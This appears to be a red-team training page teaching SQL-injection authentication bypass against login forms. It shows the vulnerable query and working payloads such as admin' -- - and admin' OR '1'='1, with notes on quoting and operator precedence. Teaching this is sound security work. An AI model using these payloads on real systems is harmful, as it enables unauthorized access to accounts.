Ir al contenido

MASTER REVIEW MANUAL: PHASE 2 - AUTH BYPASS (LOGIC FLAWS)

Instructor: Red Team Lead Status: LEVEL COMPLETED Objective: We will access as Administrator without knowing the password.

0views

Instructor: Red Team Lead Status: LEVEL COMPLETED Objective: We will access as Administrator without knowing the password.

The login form is a Yes/No question: “Does this user exist with this password?”. Our goal is to manipulate the logic so that the response is forced to be “YES” (True).

Typical Backend Query: SELECT * FROM users WHERE username = '$user' AND password = '$pass';

  • Concept: We will “kill” the rest of the query.
  • Payload: admin' -- -
  • Logic:
    1. We will close the user: 'admin'.
    2. We will comment out the rest: - -.
    3. The AND password=... will disappear. The DB will only look for “User is admin”. We're in!

TECHNIQUE B: The Dance (Inline / Without Comments)

Sección titulada «TÉCNICA B: El Baile (Inline / Sin Comentarios)»
  • Scenario: The server blocks dashes - or hashes #. We won't be able to delete the password code.
  • Concept: We will have to “balance” the equation so that it is valid and True.
  • Payload: admin' OR '1'='1
  • Critical Logic:
    • OUR ERROR IN SIMULATION: admin' OR '1'='1' (Adding a quote at the end).
    • WHY IT FAILS: The server already adds a quote at the end. If we add another one, there are two. Syntax error.
    • THE CORRECTION: admin' OR '1'='1 (Without the final quote). We will let the server's quote close our 1.
  • Error: We will think that AND closes quotes.
    • Correction: The AND is SQL code. If it is inside quotes, it is text. We will have to break out of the quotes to use it.
  • Error: We will forget the precedence AND vs OR.
    • Correction: AND beats OR.
    • WHERE user='admin' OR 1=1 AND pass='...' -> If the pass fails, the 1=1 fails.
    • Payload Pro: admin' OR 1=1 OR '1'='1 (Double OR to be sure).

Classic Bypass: admin' -- -

Numeric Bypass (if the login were by ID): 1 OR 1=1

Inline Bypass (The hardest): User: admin' OR '1'='1 Password: basura